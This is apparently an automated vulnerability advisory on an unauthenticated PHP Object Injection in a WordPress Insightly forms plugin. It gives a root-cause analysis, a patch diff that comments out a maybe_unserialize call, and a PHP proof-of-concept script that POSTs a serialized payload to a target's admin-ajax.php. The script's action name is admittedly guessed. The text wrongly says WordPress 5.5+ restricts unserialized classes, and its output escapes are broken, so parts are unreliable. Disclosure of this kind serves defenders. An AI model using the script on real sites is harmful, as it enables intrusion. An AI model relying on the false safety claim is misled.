Atomic Edge analysis of CVE-2026-49085:
The WP Insightly for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms plugin for WordPress is vulnerable to PHP Object Injection via deserialization of untrusted input in versions up to and including 1.1.4. This vulnerability affects the plugin’s core processing of form field values. Unauthenticated attackers can exploit this flaw to inject arbitrary PHP objects. The CVSS score is 8.1, indicating high severity.
Root Cause: The vulnerability resides in the file `cf7-insightly/cf7-insightly.php` at lines 969-971 (in the vulnerable version). The function `maybe_unserialize()` is called directly on user-supplied input stored in `$value`. Specifically, the code block `if(!is_array($value)){ $value=maybe_unserialize($value); }` deserializes the `$value` variable without any sanitization or validation. The `$value` originates from form submission data, which includes the `value` parameter. An attacker can control this parameter by crafting a malicious form submission. The `maybe_unserialize()` function in WordPress internally calls `unserialize()`, which creates PHP objects from serialized data.
Exploitation: An attacker sends a POST request to any WordPress page or endpoint that processes form submissions through this plugin. The attacker includes a form field with a serialized PHP object payload as its value. For example, the attacker could set a POST parameter (e.g., `vxcf_insightly[field_name]`) to a string like `O:8:”stdClass”:0:{}` (a generic serialized object). The vulnerable code path at `cf7-insightly.php` lines 969-971 will call `maybe_unserialize()` on this input, deserializing the object. Since `maybe_unserialize()` in WordPress 5.5+ includes a safety check for allowed classes, but WordPress versions before 5.5 or custom configurations may allow arbitrary classes. Even with the safety check, an attacker can still inject objects of whitelisted classes. The attack does not require authentication, making it accessible to any unauthenticated visitor.
Patch Analysis: The patch in version 1.1.5 completely removes the dangerous `maybe_unserialize()` call. The diff shows the line `$value=maybe_unserialize($value);` is commented out with the comment `UNSAFE: unserializes user input`. This is the correct fix: strip the deserialization entirely. Before the patch, the code unconditionally attempted to unserialize any non-array value. After the patch, the code skips this step entirely, preventing object injection. The patch also adds a check for the `BIT` field type (validating boolean values) and restructures the image field processing, but these are secondary improvements. The critical security fix is the removal of the `maybe_unserialize()` call.
Impact: Successful exploitation can lead to PHP Object Injection. If a POP chain exists in any installed plugin or theme on the target WordPress site, an attacker can leverage it to perform arbitrary file deletion, sensitive data retrieval, or remote code execution. Without a POP chain, the exploitation is limited to causing a denial of service or unexpected behavior. The vulnerability is unauthenticated, increasing the attack surface significantly.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-insightly/api/api.php
+++ b/cf7-insightly/api/api.php
@@ -528,10 +528,14 @@
$type=$crm_fields[$k]['type'];
if(in_array($type,array('AUTONUMBER'))){
continue;
- }if(in_array($type,array('IMAGE'))){
+ }
+ if(in_array($type,array('IMAGE'))){
$img_fields[$k]=$val;
continue;
}
+ if(in_array($type,array('BIT'))){
+ $val=!empty($val) ? 1 : 0;
+ }
if(in_array($type,array('MULTISELECT')) && !empty($val)){
if(!is_array($val)){
$val=array_filter(explode(',',$val));
@@ -592,10 +596,11 @@
$id=$arr[$id_key]; $upload_dir=wp_upload_dir();
if(!empty($id) && function_exists('file_get_contents')){
foreach($img_fields as $k=>$v){
+if(!empty($v)){
$path=$module.'/'.$id.'/ImageField/'.$k.'/'.basename($v);
$v=str_replace($upload_dir['baseurl'],$upload_dir['basedir'],$v);
$extra['img fiels '.$k]= $this->post_crm($path, 'put' , file_get_contents($v));
-}
+} }
if(!empty($files)){
$upload_dir=wp_upload_dir();
foreach($files as $k=>$file){
--- a/cf7-insightly/cf7-insightly.php
+++ b/cf7-insightly/cf7-insightly.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form Insightly
* Description: Integrates Contact Form 7, Ninja Forms, <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with Insightly allowing form submissions to be automatically sent to your Insightly account
-* Version: 1.1.4
+* Version: 1.1.5
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-insightly-plugin/
@@ -24,7 +24,7 @@
public $crm_name = "insightly";
public $id = "vxcf_insightly";
public $domain = "vxcf-insightly";
- public $version = "1.1.4";
+ public $version = "1.1.5";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_insightly";
@@ -969,17 +969,18 @@
$value=$value['value'];
}
if(!is_array($value)){
- $value=maybe_unserialize($value);
+ // $value=maybe_unserialize($value); UNSAFE: unserializes user input
}
}
$fields=$this->form_fields;
$type=isset($fields[$field_id]['type']) ? $fields[$field_id]['type'] : '';
if( $type == 'file' && !empty($value)){
+ if(!is_array($value)){ $value=array($value); }
if(class_exists('vxcf_form')){
$upload=vxcf_form::get_upload_dir();
$temp_files=array();
- if(!is_array($value)){ $value=array($value); }
+
foreach($value as $f){
if(filter_var($f,FILTER_VALIDATE_URL) === false){
if(strpos($sf_id,'vx_list_files') !== false){
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49085 - WP Insightly for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms <= 1.1.4 - Unauthenticated PHP Object Injection
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Adjust to target site
// Craft a serialized PHP object payload (example: stdClass, but can be any class if a POP chain exists)
$payload = 'O:8:"stdClass":0:{}';
// The vulnerable parameter is likely passed via POST as a form field value
// The plugin processes form submissions, so we send a request mimicking a form entry
$post_data = array(
'action' => 'vxcf_insightly_process_form', // Example action, may need adjustment based on the actual handler
'vxcf_insightly' => array(
'field_name' => $payload
)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
echo "[+] Exploit sent successfully. Check target for object injection.n";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
